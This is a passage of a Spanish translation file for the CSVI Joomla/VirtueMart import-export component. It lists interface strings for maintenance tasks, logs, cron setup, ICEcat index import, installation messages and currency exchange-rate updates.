procesadas" COM_CSVI_ERROR_PROCESSING_RECORDS="Un error ha ocurrido procesando los registros. El error se mostrara a continuacion si esta disponible. Adicionalmente, comprueba el log de tu servidor para cualquier error o advertencia." ; views/maintenance/tmpl/default.php COM_CSVI_MAKE_CHOICE_MAINTENANCE="¿Que quieres hacer?" COM_CSVI_NO_CHOICE="¡Deber hacer una eleccion!" COM_CSVI_OPTION_CRON_NO_SUPPORT="Esta opcion no esta soportada via cron" ; views/maintenance/tmpl/default_icecat.php COM_CSVI_MAINTENANCE_ICECAT="ICEcat" COM_CSVI_ICECAT_LOCATION_LABEL="Ruta de los index de ICEcat" COM_CSVI_ICECAT_LOCATION_DESC="Introduce aqui el directorio donde CSVI deberia buscar los archivos de ICEcat. Si no es encuentra ningun archivo, CSVI intentara recuperarlos del sitio de ICEcat." COM_CSVI_ICECAT_GZIP_LABEL="Usar gzip" COM_CSVI_ICECAT_GZIP_DESC="Usando gzip para descargar los archivos index se reduce el tamaño considerablemente. El servidor podria no tener recursos suficientes para descomprimir el archivo gzip, y en ese caso puedes deshabilitar la descarga con gzip." COM_CSVI_MAINTENANCE_ICECAT_FILE="Archivos del index" COM_CSVI_ICECAT_FILE_LABEL="Archivos del index" COM_CSVI_ICECAT_FILE_DESC="Selecciona aqui para cargar los archivos del index" COM_CSVI_ICECAT_FILE_LOAD_LABEL="Cargar tipo" COM_CSVI_ICECAT_FILE_LOAD_DESC="Selecciona la forma de importar el archivo indice. El metodo COMPLETO cargara el archivo como 1 gran archivo; el metodo SIMPLE cargara el archivo linea por linea. El metodo SIMPLE tardara bastante mas que el metodo COMPLETO. Siempre utilice el metodo COMPLETO a menos que el servidor no se lo permita." COM_CSVI_ICECAT_FILE_SINGLE="Unico" COM_CSVI_ICECAT_FILE_FULL="Completo" COM_CSVI_ICECAT_FILE_LOAD_RECORDS_LABEL="Lineas por importacion" COM_CSVI_ICECAT_FILE_LOAD_RECORDS_DESC="Introduce el numero de lineas que deberian ser leidas en cada ejecucion." COM_CSVI_ICECAT_FILE_LOAD_WAIT_LABEL="Tiempo entre importaciones" COM_CSVI_ICECAT_FILE_LOAD_WAIT_DESC="Establece el tiempo de la importacion deberia esperar entre ejecuciones. Utilce esto para aliviar la carga del servidor." COM_CSVI_MAINTENANCE_ICECAT_SUPPLIER="Proveedor principal" COM_CSVI_ICECAT_SUPPLIER_LABEL="Proveedor" COM_CSVI_ICECAT_SUPPLIER_DESC="Seleccione aqui para carga el proveedor principal" ; views/maintenance/tmpl/icecat.php COM_CSVI_RECORDS_PROCESSED="Registros procesados:" COM_CSVI_TIME_RUNNING="Tiempo ejecutando" COM_CSVI_MAX_IMPORT_TIME_PASSED="El script se esta ejecutando por mas tiempo del permitido, esto normalmente indica que la importacion se ha parado." ; views/maintenance/tmpl/log.php COM_CSVI_LOG_ACTION="Accion" COM_CSVI_LOG_RESULT="Resultado" COM_CSVI_LOG_MESSAGE="Mensaje" COM_CSVI_NO_DETAILS_FOUND="No se han encontrado detalles del log" COM_CSVI_MAINTENANCE_RESULT_NO_LOG="%s finalizado" ; views/logdetails/view.html.php COM_CSVI_BACK="Volver" ; views/logdetails/tmpl/default.php COM_CSVI_TEMPLATE_TYPE="Tipo" COM_CSVI_FILE_NAME="Nombre de Archivo" COM_CSVI_DEBUG_LOG="Debug log" COM_CSVI_LOG_STATISTICS="Estadisticas" COM_CSVI_LOGDETAILS_FILTER="Filtro: " COM_CSVI_LOGDETAILS_GO="Ir" COM_CSVI_LOGDETAILS_RESET="Reiniciar" COM_CSVI_LOG_LINE="Linea" ; views/log/view.html.php COM_CSVI_LOG="Log" COM_CSVI_DETAILS="Detalles" COM_CSVI_DELETE_ALL="Borrar todo" ; views/log/tmpl/default.php COM_CSVI_FILTER="Filtro" COM_CSVI_RESET="Reiniciar" COM_CSVI_ACTION="Accion" COM_CSVI_ACTION_TYPE="Tipo Accion" COM_CSVI_TEMPLATE_NAME_TITLE="Nombre de Plantilla" COM_CSVI_TIMESTAMP="Marca de tiempo" COM_CSVI_USER="Usuario" COM_CSVI_RECORDS="Registros" COM_CSVI_RUN_CANCELLED="Cancelado" COM_CSVI_FILENAME="Nombre de Archivo" COM_CSVI_RUN_ID="ID Ejecucion" COM_CSVI_YES="Si" COM_CSVI_NO="No" COM_CSVI_NO_LOG_ENTRIES_FOUND="No se han encontrado entradas en el Log" COM_CSVI_LOG_ARE_YOU_SURE_REMOVE="¿Esta seguro de que quiere borrar las entradas del Log?" COM_CSVI_LOG_ARE_YOU_SURE_REMOVE_ALL="¿Esta seguro de que quiere borrar TODAS las entradas del Log?" ; views/log/tmpl/logreader.php COM_CSVI_NO_LOG_FOUND="No han sido encontrado ningun Debug Log: %s" COM_CSVI_DATE="Fecha" COM_CSVI_SOFTWARE="Software" COM_CSVI_LOG_LINES="Procesadas %d lineas" ; views/install/view.html.php COM_CSVI_CSVI_VERSION="@version@" COM_CSVI_UPDATEAVAILABLEFIELDS_LABEL="Actualizar campos disponibles" COM_CSVI_INSTALLDEFAULTTEMPLATES_LABEL="Instalar plantillas de ejemplo" COM_CSVI_INSTALL="Instalacion" ; views/install/view.json.php resultsmessages="Mensajes de Resultados" resultsCOM_CSVI_COMPLETED_="Resultados Completados" ; views/install/tmpl/default.php COM_CSVI_NONEW_VERSION="No se ha encontrado una version anterior" COM_CSVI_FOUND_VERSION="Encontrada version %s" COM_CSVI_NEW_VERSION="Instalar version %s" COM_CSVI_REMOVEOLDTABLES_LABEL="Borrar tablas de copia de seguridad existentes" COM_CSVI_UPGRADE_CSVI="Actualizar a CSVI @version@" COM_CSVI_UPGRADE_CSVI_DESC="La actualizacion convertira si es posible las plantillas, configuraciones, logs e instancias existentes." COM_CSVI_INSTALL_CSVI="Instalar CSVI @version@" COM_CSVI_INSTALL_CSVI_DESC="El instalador hara una instalacion limpia de CSVI @version@" COM_CSVI_INSTALL_FINISHED="La instalacion de CSVI @version@ ha finalizado" COM_CSVI_ERROR_UPDATING_VERSION="Error al actualizar a la nueva version" COM_CSVI_ERROR_DURING_INSTALL="Un error ha ocurrido durante la instalacion. A continuacion esta la respuesta recibida del servidor:" ; views/importfile/view.html.php COM_CSVI_IMPORTING="Importando" COM_CSVI_IMPORT="Importar" ; views/importfile/tmpl/default.php COM_CSVI_TEMPLATE_NAME="Nombre de Plantilla: %s" ; views/exportfile/tmpl/cron.php COM_CSVI_SAVED_FILE="Archivo guardado en: %s" ; views/csvi/view.html.php COM_CSVI_CONTROL_PANEL="Panel de Control" COM_CSVI_CONFIGURATION="Configuracion CSVI" ; views/cron/view.html.php COM_CSVI_NO_CRON_DATA_FOUND="No se han encontrado datos para crear el comando cron" COM_CSVI_CRON="Cron" ; views/cron/tmpl/default.php COM_CSVI_CRONTITLE_STRING="Comando Cron a usar:" COM_CSVI_CRONNOTE="Para permitir el usar de la linea de comandos de Cron, algunas cosas deben ser cambiadas. Cambiar:
            • php: sustituir por la ruta completa especifica del servidor ej. /usr/bin/php
            • nombre de usuario: introduce el nombre de usuario que es usado para la tarea de cron
            • pass: introduce el password usado para la tarea de cron
            • " ; views/availablefields/view.html.php COM_CSVI_NO_AVAILABLE_FIELDS="No se han encontrado campos disponibles, los campos dispobibles se pueden actualizar en la seccion de mantenimiento." COM_CSVI_EXPORT="Exportar" COM_CSVI_AVAILABLE_FIELDS="Campos disponibles" COM_CSVI_UPDATE="Actualizar" ; views/availablefields/tmpl/default.php COM_CSVI_AV_FILTER="Filtrar" COM_CSVI_AV_GO="Ir" COM_CSVI_AV_RESET="Reiniciar" COM_CSVI_SHOW_IDFIELDS="Mostrar ID de los campos" COM_CSVI_AV_ID="ID" COM_CSVI_AV_CSVI_NAME="Nombre CSVI" COM_CSVI_AV_VM_NAME="Nombre" COM_CSVI_AV_TABLE="Tabla" COM_CSVI_IS_PRIMARY="[primario]" ; views/about/view.html.php COM_CSVI_ABOUT="Acerca de" ; views/about/tmpl/default.php COM_CSVI_FOLDER="Directorio" COM_CSVI_FOLDER_STATUS="Estado" COM_CSVI_FOLDER_OPTIONS="Opciones" COM_CSVI_WRITABLE="Escribible" COM_CSVI_NOT_WRITABLE="No Escribible" COM_CSVI_FOLDER_CREATE="Crear directorio" ; COM_CSVI_ABOUT_DISPLAY_ERRORS="Display errors" ; COM_CSVI_ABOUT_MAGIC_QUOTES="Magic quotes" ; COM_CSVI_ABOUT_PHP="PHP version" ; COM_CSVI_ABOUT_JOOMLA="Joomla version" ; COM_CSVI_ABOUT_SETTING="Setting" COM_CSVI_ABOUT_VALUE="Valor" ; tables/com_virtuemart/calcs.php COM_CSVI_CHECK_CALC_EXISTS="Comprobar si existe una regla de calculo" COM_CSVI_USE_CALC_ID="Usar regla de calculo existente" ; tables/com_virtuemart/customs.php COM_CSVI_CHECKING_CUSTOMFIELD_EXISTS="Comprobar si el campo personalizado todavia existe" ; tables/com_virtuemart/product_prices.php COM_CSVI_VM_PRODUCT_PRICE="Encontrando un product_price_id" COM_CSVI_VM_PRODUCT_PRICE_SHOPPER_GROUP="Encontrando un price_shopper_group_ID" ; tables/com_virtuemart/ratings.php COM_CSVI_CHECK_RATING_EXISTS="Comprueba si una valoracion ya existe" ; tables/com_virtuemart/rating_reviews.php COM_CSVI_CHECK_RATING_REVIEW_EXISTS="Comprueba si la reseña de la valoracion ya existe" ; tables/com_virtuemart/rating_votes.php COM_CSVI_CHECK_RATING_VOTE_EXISTS="Comprueba si el voto de la valoracion ya existe" ; tables/com_virtuemart/waitingusers.php COM_CSVI_CHECKING_WAITINGLIST_EXISTS="Comprueba si un usuario esta ya en lista de espera" ; models/about.php COM_CSVI_NEW_VERSION_AVAILABLE="Una nueva version esta disponible. Tiene la version %s y la ultima version es la %s. Puede descarga la ultima version de la pagina de descarga." COM_CSVI_VERSION_UPTODATE="No se han encontrado nuevas versiones. La version mas reciente es la %s." ; models/availablefields.php COM_CSVI_AVAILABLE_FIELDS_TABLE_EMPTIED="Tabla de campos disponibles vaciada" COM_CSVI_AVAILABLE_FIELDS_TABLE_COULD_NOT_BE_EMPTIED="La tabla de campos disponibles no se ha podido vaciar." COM_CSVI_CUSTOM_AVAILABLE_FIELDS_HAVE_BEEN_ADDED="Campos disponibles personalizados añadidos" COM_CSVI_CUSTOM_AVAILABLE_FIELDS_HAVE_NOT_BEEN_ADDED="Campos disponibles personalizados no añadidos" COM_CSVI_AVAILABLE_FIELDS_HAVE_BEEN_ADDED="Los campos disponibles se han añadido para la tabla %s" COM_CSVI_AVAILABLE_FIELDS_HAVE_NOT_BEEN_ADDED="Campos disponibles no añadidos" ; models/category.php COM_CSVI_DELETE_OLD_CATEGORIES_XREF="Borrar referencias a categorias antiguas" COM_CSVI_NOT_DELETE_OLD_CATEGORIES_XREF="No se han podido borrar las referencias a las categorias antiguas" COM_CSVI_CHECK_CATEGORY_EXISTS="Comprueba si la ruta de una categoria existe" ; models/export.php COM_CSVI_EXPORT_ORDER_USER_EMPTY="" COM_CSVI_EXPORT_DONT_USE="No usar" COM_CSVI_BILLING_ADDRESS="Direccion de Facturacion" COM_CSVI_SHIPPING_ADDRESS="Direccion de Envio" COM_CSVI_BILLING_SHIPPING_ADDRESS="Direccion de Facturacion o Envio" ; models/exportfile.php COM_CSVI_EXPORTFILE_CREATED="El archivo %s ha sido creado" COM_CSVI_NO_EXPORT_CLASS="No se han encontrado clases de exportacion" COM_CSVI_NO_EXPORT_FIELDS="No se han elegido los campos de exportacion" COM_CSVI_CSVI_VERSION_TEXT="Version CSVI:" COM_CSVI_PHP_VERSION="Version PHP: %s" COM_CSVI_GENERAL_SETTINGS="Configuracion General" COM_CSVI_DEBUG_CHOSEN_DESTINATION="Destino: %s" COM_CSVI_DEBUG_EXPORT_PATH="Ruta Exportacion: %s" COM_CSVI_DEBUG_EXPORT_FTP_HOST="Host FTP: %s" COM_CSVI_DEBUG_EXPORT_FTP_PORT="Puerto FTP: %s" COM_CSVI_DEBUG_EXPORT_FTP_USERNAME="Usuario FTP: %s" COM_CSVI_DEBUG_EXPORT_FTP_ROOT="Root FTP: %s" COM_CSVI_DEBUG_EXPORT_GENERATED_FILENAME="Nombre Archivo Exportacion: %s" COM_CSVI_DEBUG_CHOSEN_EXPORT_TYPE="Tipo Exportacion: %s" COM_CSVI_DEBUG_EXPORT_FILENAME="Nombre de archivo proporcionado por el usuario: %s" COM_CSVI_DEBUG_EXPORT_FILE="Tipo de archivo de la Exportacion: %s" COM_CSVI_DEBUG_EXPORT_SITE="Sitio Exportacion: %s" COM_CSVI_USING_DELIMITER="Delimitador en uso: %s" COM_CSVI_USING_ENCLOSURE="Caracter de Cadena usado: %s" COM_CSVI_DEBUG_INCLUDE_HEADER="Incluir Cabeceras de Columna: %s" COM_CSVI_DEBUG_SIGNATURE="Añadir firma: %s" COM_CSVI_DEBUG_EXPORT_FRONTEND="Interfaz de Exportacion: %s" COM_CSVI_ALL_STATES="Ambos" COM_CSVI_DEBUG_PUBLISH_STATE="Estado Exportacion: %s" COM_CSVI_DEBUG_RECORD_START="Numero de registros a exportar: %s" COM_CSVI_DEBUG_RECORD_END="Comenzar en el registro numero: %s" COM_CSVI_DEBUG_GROUPBY="Agrupando registros: %s" COM_CSVI_DEBUG_VM_ITEMID="ID Elemento: %s" COM_CSVI_DEBUG_EXPORT_DATE_FORMAT="Formato fecha: %s" COM_CSVI_DEBUG_EXPORT_DECIMALS="Numero de decimales: %s" COM_CSVI_DEBUG_EXPORT_DEC_SEP="Separador de Decimales: %s" COM_CSVI_DEBUG_EXPORT_THOUSAND_SEP="Separadores de Miles: %s" COM_CSVI_DEBUG_ADD_CURRENCY_TO_PRICE="Añadir moneda al precio: %s" COM_CSVI_DEBUG_EXPORT_FIELD="Campo: %s" COM_CSVI_CANNOT_CREATE_FOLDER="No se puede crear el directorio: %s" COM_CSVI_CANNOT_OPEN_FILE="No se puede abrir el archivo: %s" COM_CSVI_CANNOT_WRITE_FILE="No se puede escribir el archivo: %s" COM_CSVI_NO_MAIL_SEND="Un error ha ocurrido enviando el e-mail. Error: %s" COM_CSVI_MAIL_SEND="Mail enviado" COM_CSVI_GET_CATEGORY_JF="Obtener cagoria JoomFish" ; models/importfile.php COM_CSVI_NO_VALID_CLASS_FOUND="No se ha encontrado una clase de importacion valida. ¿Quieres escoger el componente correcto?" COM_CSVI_CANNOT_LOAD_FIELDS="No se pueden cargar los campos de la configuracion" COM_CSVI_INCORRECT_COLUMN_COUNT="Numero de columnas incorrecto: Configuracion: %s campos. :: Archivo: %s campos.

              Lee las Preguntas Frecuentes sobre el problema." COM_CSVI_FIELDS="Campos" COM_CSVI_VALUE="Valor:" COM_CSVI_DEBUG_PROCESS_LINE="Procesando linea %d" COM_CSVI_MAXIMUM_EXECUTION_LIMIT_EXCEEDED="El tiempo maximo de ejecucion ha sido excedido. Han pasado: %s segundos" COM_CSVI_MAXIMUM_MEMORY_LIMIT_EXCEEDED="El limite maximo de memoria ha sido excedido. Memoria usada: %s MB" COM_CSVI_AUTO_DETECT_DELIMITERS="Auto detectar delimitadores: %s" COM_CSVI_CHOSEN_IMPORT_TYPE="Tipo Importacion: %s" COM_CSVI_USE_HEADER="Usar cabeceras de columna para la configuracion: %s" COM_CSVI_REFRESH_XML_HEADER="Actualizar cabeceras xml para cada registro: %s" COM_CSVI_SKIP_FIRST_LINE="Saltar la primera linea: %s" COM_CSVI_IGNORE_NON_EXIST="Ignorar productos inexistentes: %s" COM_CSVI_OVERWRITE_EXISTING_DATA="Sobreescribir datos existentes: %s" COM_CSVI_SKIP_DEFAULT_VALUE="Omitir el valor por defecto: %s" COM_CSVI_USING_PREVIEW="Usar vista previa: %s" COM_CSVI_UNPUBLISH_BEFORE_IMPORT="Despublicar antes de importar: %s" COM_CSVI_APPEND_CATEGORIES="Anexar categorias: %s" COM_CSVI_PROCESS_IMAGE="Procesar imagenes: %s" COM_CSVI_CREATE_IMAGE_NAME="Crear nombre imagen: %s" COM_CSVI_IMAGE_BASED_ON="Nombre de imagen basado en: %s" COM_CSVI_IMAGE_NAME_FORMAT="Formato nombre imagen: %s" COM_CSVI_CONVERT_IMAGE="Convertir imagen: %s" COM_CSVI_SAVE_IMAGES_ON_SERVER="Guardar imagenes en el servidor: %s" COM_CSVI_AUTOMATIC_THUMBS="Creacion automatica de miniaturas: %s" COM_CSVI_FORMAT_THUMBS="Formato miniaturas: %s" COM_CSVI_DIMENSION_THUMBS="Miniatura ancho x alto: %s x %s" COM_CSVI_DEBUG_FILE_PATH_PRODUCT_IMAGES="Localizacion archivo imagenes de producto: %s" COM_CSVI_DEBUG_FILE_PATH_CATEGORY_IMAGES="Localizacion archivo imagenes de categoria: %s" COM_CSVI_DEBUG_FILE_PATH_MEDIA="Localizacion archivo imagenes multimedia: %s" COM_CSVI_DEBUG_MAX_EXECUTION_TIME="Tiempo de ejecucion maxima encontrado %s segundos" COM_CSVI_PRODUCT_UNPUBLISH_BEFORE_IMPORT="Los productos seran despublicados antes de importarlos" COM_CSVI_COULD_NOT_UNPUBLISH_BEFORE_IMPORT="No se puede despublicar los productos antes de importarlos" COM_CSVI_DEBUG_LOAD_CONFIG_FIELDS="Carga campos de configuracion" COM_CSVI_FIELD_EMPTY="Campos: <campos vacio>" COM_CSVI_NO_COLUMN_HEADERS_FOUND="Cabeceras de columnas no encontradas" COM_CSVI_FIELD_NOT_INCLUDED="Campo no incluido" COM_CSVI_NO_SUPPORT="Estos campos han sido encontrados, pero no son soportado por CSVI: %s" COM_CSVI_UNSUPPORTED_FIELDS="Hay campos no soportados" COM_CSVI_USING_FILE_FOR_CONFIGURATION="Usar archivo para la configuracion" COM_CSVI_FIELD_SKIPPED="omitido" COM_CSVI_IMPORT_FIELD="Nombre del Campo: %s" COM_CSVI_USE_DATABASE_FOR_CONFIGURATION="Usar base de datos para la configuracion" COM_CSVI_DEBUG_PRODUCT_CURRENCY="Obtener la moneda del producto" COM_CSVI_USE_ICECAT_FIELD="Usar datos ICEcat para el campo: %s" COM_CSVI_USE_FIELD_VALUE="Usar valor del campo" COM_CSVI_USE_DEFAULT_VALUE="Usar valor por defecto" COM_CSVI_USE_NO_VALUE="No usar valor" COM_CSVI_ICECAT_FOUND_REFERENCE="Referencia encontrada: %s" COM_CSVI_ICECAT_FOUND_MF_NAME="Nombre fabricante encontrado: %s" COM_CSVI_ICECAT_NO_MANUFACTURER="No se puede encontrar un nombre de fabricante" COM_CSVI_ICECAT_NO_REFERENCE="No se ha encontrado campo de referencia" ; models/install.php COM_CSVI_UPGRADE_OK="Actualizacion completada con exito." COM_CSVI_INSTALL_NOK="Un error ha ocurrido durante la instalacion. Lee los mensajes siguientes para mas detalles. " COM_CSVI_LOG_ENTRIES_CONVERTED="Entradas de Log convertidas" COM_CSVI_LOG_DETAIL_ENTRIES_CONVERTED="Entradas de detalle de Log convertidas" COM_CSVI_LOG_DETAIL_ENTRIES_NOT_CONVERTED="Entradas de detalles de Log no convertidas" COM_CSVI_LOG_ENTRIES_NOT_CONVERTED="Entradas de Log no convertidas" COM_CSVI_LOG_MAINT_ENTRIES_UPDATED="Entradas de mantenimiento actualizadas" COM_CSVI_LOG_MAINT_ENTRIES_NOT_UPDATED="Entradas de mantenimiento no actualizadas" COM_CSVI_SETTINGS_CONVERTED="Configuraciones convertidas" COM_CSVI_COMPONENT_HAS_NOT_BEEN_ADDED="El archivo del componente %s no ha sido añadido" COM_CSVI_COMPONENT_HAS_BEEN_ADDED="El archivo del componente %s ha sido añadido" COM_CSVI_COMPONENT_NOT_FOUND="El archivo del componente %s no ha sido encontrado" ; COM_CSVI_REPLACEMENTS_CONVERTED="Replacements converted" ; COM_CSVI_TEMPLATE_SETTINGS_CONVERTED="Template settings converted" ; COM_CSVI_ICECAT_SUPPLIERS_CONVERTED="ICEcat suppliers converted" ; COM_CSVI_ICECAT_INDEX_CONVERTED="ICEcat index converted" ; COM_CSVI_CURRENCY_CONVERTED="Currencies converted" ; COM_CSVI_AVAILABLE_FIELDS_CONVERTED="Available fields converted" ; COM_CSVI_TEMPLATE_TABLES_CONVERTED="Template tables converted" ; COM_CSVI_LOGS_CONVERTED="Logs converted" ; COM_CSVI_LOG_DETAILS_CONVERTED="Log details converted" ; models/log.php COM_CSVI_CANNOT_BIND_LOG_DATA="Los datos del Log no se han podido proteger" COM_CSVI_CANNOT_CHECK_LOG_DATA="Los datos del Log no se han podido comprobar" COM_CSVI_CANNOT_STORE_LOG_DATA="Los datos del Log no se han podido guardar en la base de datos" COM_CSVI_DELETE_LOG_FILE_NOT_FOUND="1 archivo de Log no se ha encontrado" COM_CSVI_DELETE_LOGS_FILE_NOT_FOUND="%s archivos de Log no se han encontrado" COM_CSVI_DELETE_LOG_FILE="1 archivo de Log ha sido borrado" COM_CSVI_DELETE_LOGS_FILE="%s archivos de Log han sido borrados" COM_CSVI_CANNOT_DELETE_LOG_FILE="1 archivo de Log no ha sido borrado" COM_CSVI_CANNOT_DELETE_LOGS_FILE="%s archivos de Log no han sido borrados" COM_CSVI_DELETE_LOG_DATA="1 entrada de Log ha sido borrada" COM_CSVI_DELETE_LOGS_DATA="%s entradas de Log han sido borradas" COM_CSVI_CANNOT_DELETE_LOG_DATA="1 entrada de Log no ha sido borrada" COM_CSVI_CANNOT_DELETE_LOGS_DATA="%s entradas de Log no han sido borradas" COM_CSVI_DELETE_LOG_DETAILS_DATA="1 registro del detalle del Log ha sido borrado" COM_CSVI_DELETE_LOGS_DETAILS_DATA="%s registros del detalle del Log han sido borrados" COM_CSVI_CANNOT_DELETE_LOG_DETAILS_DATA="1 registro del detalle del Log no se ha podido borrar" COM_CSVI_CANNOT_DELETE_LOGS_DETAILS_DATA="%s registros del detalle del Log no se han podido borrar" COM_CSVI_DELETE_LOG_DATA_ALL_OK="Todas las entradas del Log han sido borradas." COM_CSVI_DELETE_LOG_DATA_ALL_NOK="No se pueden borrar todas las entradas del Log" COM_CSVI_DELETE_LOG_DATA_DETAILS_ALL_OK="Tot" COM_CSVI_DELETE_LOG_DATA_DETAILS_ALL_NOK="No se puede borrar los detalles del log" COM_CSVI_DOWNLOAD_DEBUG_LOG="Descargar debug log" COM_CSVI_VIEW_DEBUG_LOG="Ver debug log" COM_CSVI_NO_DEBUG_LOG_FOUND="No se ha encontrado ningun debug log" COM_CSVI_LOG_DONT_USE="No usar" ; models/logdetails.php COM_CSVI_SELECT_ACTION="Selecciona accion..." COM_CSVI_SELECT_RESULT="Selecciona resultado..." ; models/maintenance.php COM_CSVI_PRODUCT_TABLE_HAS_BEEN_EMPTIED="La tabla de productos ha sido vaciada" COM_CSVI_PRODUCT_TABLE_HAS_NOT_BEEN_EMPTIED="La tabla de productos no ha sido vaciada" COM_CSVI_PRODUCT_PRICE_TABLE_HAS_BEEN_EMPTIED="La tabla de precios de productos ha sido vaciada" COM_CSVI_PRODUCT_PRICE_TABLE_HAS_NOT_BEEN_EMPTIED="La tabla de precios de productos no ha sido vaciada" COM_CSVI_PRODUCT_MANUFACTURER_LINK_TABLE_HAS_BEEN_EMPTIED="La tabla de enlaces de fabricantes de productos ha sido vaciada" COM_CSVI_PRODUCT_MANUFACTURER_LINK_TABLE_HAS_NOT_BEEN_EMPTIED="La tabla de enlaces de fabricantes de productos no ha sido vaciada" COM_CSVI_PRODUCT_CUSTOMFIELDS_TABLE_HAS_BEEN_EMPTIED="La tabla de campos personalizados de producto ha sido vaciada" COM_CSVI_PRODUCT_CUSTOMFIELDS_TABLE_HAS_NOT_BEEN_EMPTIED="La tabla de campos personalizados de producto no ha sido vaciada" COM_CSVI_PRODUCT_DOWNLOADS_TABLE_HAS_BEEN_EMPTIED="La tabla de descargas de productos ha sido vaciada" COM_CSVI_PRODUCT_DOWNLOADS_TABLE_HAS_NOT_BEEN_EMPTIED="La tabla de descargas de productos no ha sido vaciada" COM_CSVI_PRODUCT_MEDIAS_TABLE_HAS_BEEN_EMPTIED="La tabla de medias de productos ha sido vaciada" COM_CSVI_PRODUCT_MEDIAS_TABLE_HAS_NOT_BEEN_EMPTIED="La tabla de medias de productos no ha sido vaciada" COM_CSVI_PRODUCT_SHOPPERGROUPS_TABLE_HAS_BEEN_EMPTIED="La tabla de grupos de compradores de productos ha sido vaciada" COM_CSVI_PRODUCT_SHOPPERGROUPS_TABLE_HAS_NOT_BEEN_EMPTIED="La tabla de grupos de compradores de productos no ha sido vaciada" COM_CSVI_CATEGORY_LANGUAGE_TABLE_HAS_BEEN_EMPTIED="El idioma de categoria %s ha sido vaciada" COM_CSVI_CATEGORY_LANGUAGE_TABLE_HAS_NOT_BEEN_EMPTIED="El idioma de categoria %s no ha sido vaciado" COM_CSVI_PRODUCT_LANGUAGE_TABLE_HAS_BEEN_EMPTIED="El idioma de productos %s ha sido vaciado" COM_CSVI_PRODUCT_LANGUAGE_TABLE_HAS_NOT_BEEN_EMPTIED="El idioma de productos %s no ha sido vaciado" COM_CSVI_CATEGORY_TABLE_HAS_BEEN_EMPTIED="La tabla de Categorias ha sido vaciada" COM_CSVI_CATEGORY_TABLE_HAS_NOT_BEEN_EMPTIED="La tabla de Categorias ha sido vaciada" COM_CSVI_CATEGORY_LINK_TABLE_HAS_BEEN_EMPTIED="La tabla de enlaces de categorias ha sido vaciada" COM_CSVI_CATEGORY_LINK_TABLE_HAS_NOT_BEEN_EMPTIED="La tabla de enlaces de categorias no ha sido vaciada" COM_CSVI_CATEGORY_MEDIAS_TABLE_HAS_BEEN_EMPTIED="La tabla de medias de categorias ha sido vaciada" COM_CSVI_CATEGORY_MEDIAS_TABLE_HAS_NOT_BEEN_EMPTIED="La tabla de medias de categorias no ha sido vaciada" COM_CSVI_PRODUCT_CATEGORY_LINK_TABLE_HAS_BEEN_EMPTIED="La tabla de enlace categoria producto ha sido vaciada" COM_CSVI_PRODUCT_CATEGORY_LINK_TABLE_HAS_NOT_BEEN_EMPTIED="La tabla de enlace categoria producto no ha sido vaciada" COM_CSVI_PRODUCT_RELATIONS_TABLE_HAS_BEEN_EMPTIED="La tabla de relaciones de productos ha sido vaciada" COM_CSVI_PRODUCT_RELATIONS_TABLE_HAS_NOT_BEEN_EMPTIED="La tabla de relaciones de productos no ha sido vaciada" COM_CSVI_MANUFACTURER_TABLE_HAS_BEEN_EMPTIED="La tabla de fabricantes ha sido vaciada" COM_CSVI_MANUFACTURER_TABLE_HAS_NOT_BEEN_EMPTIED="La tabla de fabricantes no ha sido vaciada" COM_CSVI_MANUFACTURER_TABLE_HAS_BEEN_OPTIMIZED="La tabla de fabricantes ha sido optimizada" COM_CSVI_MANUFACTURER_TABLE_HAS_NOT_BEEN_OPTIMIZED="La tabla de fabricantes no ha sido optimizada" COM_CSVI_MANUFACTURER_AUTO_INCREMENT_RESET="Valor auto incrementado reseteado" COM_CSVI_MANUFACTURER_AUTO_INCREMENT_NOT_RESET="Valor auto incrementado no reseteado" COM_CSVI_TABLE_HAS_BEEN_OPTIMIZED="La tabla %s ha sido optimizada" COM_CSVI_TABLE_HAS_NOT_BEEN_OPTIMIZED="La tabla %s no ha sido optimizada" COM_CSVI_SAVED_CATEGORY="Categoria %s guardada con orden %s" COM_CSVI_NO_CATEGORIES_FOUND="No se han encontrado categorias" COM_CSVI_EXCHANGE_RATE_USD_ADDED="Valor de cambio para Dolar US añadido" COM_CSVI_EXCHANGE_RATE_JPY_ADDED="Valor de cambio para Yen Japones añadido" COM_CSVI_EXCHANGE_RATE_BGN_ADDED="Valor de cambio para Lev Bulgaro añadido" COM_CSVI_EXCHANGE_RATE_CZK_ADDED="Valor de cambio para Koruna Checo añadido" COM_CSVI_EXCHANGE_RATE_DKK_ADDED="Valor de cambio para Krone Danes añadido" COM_CSVI_EXCHANGE_RATE_ILS_ADDED="Valor de cambio para Shekels Israeli añadido" COM_CSVI_EXCHANGE_RATE_EEK_ADDED="Valor de cambio para Kroon Estonio añadido" COM_CSVI_EXCHANGE_RATE_GBP_ADDED="Valor de cambio para Libra Britanica añadido" COM_CSVI_EXCHANGE_RATE_HUF_ADDED="Valor de cambio para Forint Hungaro añadido" COM_CSVI_EXCHANGE_RATE_LTL_ADDED="Valor de cambio para Litai Lituano añadido" COM_CSVI_EXCHANGE_RATE_LVL_ADDED="Valor de cambio para Lat Leton añadido" COM_CSVI_EXCHANGE_RATE_PLN_ADDED="Valor de cambio para Zloty Polaco añadido" COM_CSVI_EXCHANGE_RATE_RON_ADDED="Valor de cambio para Lei Rumano añadido" COM_CSVI_EXCHANGE_RATE_SEK_ADDED="Valor de cambio para Kronor Sueco añadido" COM_CSVI_EXCHANGE_RATE_CHF_ADDED="Valor de cambio para Franco Suizo añadido" COM_CSVI_EXCHANGE_RATE_NOK_ADDED="Valor de cambio para Kroner Noruego añadido" COM_CSVI_EXCHANGE_RATE_HRK_ADDED="Valor de cambio para Kuna Croata añadido" COM_CSVI_EXCHANGE_RATE_RUB_ADDED="Valor de cambio para Rublo Ruso añadido" COM_CSVI_EXCHANGE_RATE_TRY_ADDED="Valor de cambio para Lira Turca añadido" COM_CSVI_EXCHANGE_RATE_AUD_ADDED="Valor de cambio para Dolar Australiano añadido" COM_CSVI_EXCHANGE_RATE_BRL_ADDED="Valor de cambio para Real Brasileño añadido" COM_CSVI_EXCHANGE_RATE_CAD_ADDED="Valor de cambio para Dolar Canadiense añadido" COM_CSVI_EXCHANGE_RATE_CNY_ADDED="Valor de cambio para Yuan Chino añadido" COM_CSVI_EXCHANGE_RATE_HKD_ADDED="Valor de cambio para Dolar de Hong Kong añadido" COM_CSVI_EXCHANGE_RATE_IDR_ADDED="Valor de cambio para Rupia Indonesia añadido" COM_CSVI_EXCHANGE_RATE_INR_ADDED="Valor de cambio para Rupia India añadido" COM_CSVI_EXCHANGE_RATE_KRW_ADDED="Valor de cambio para Won SurCoreano añadido" 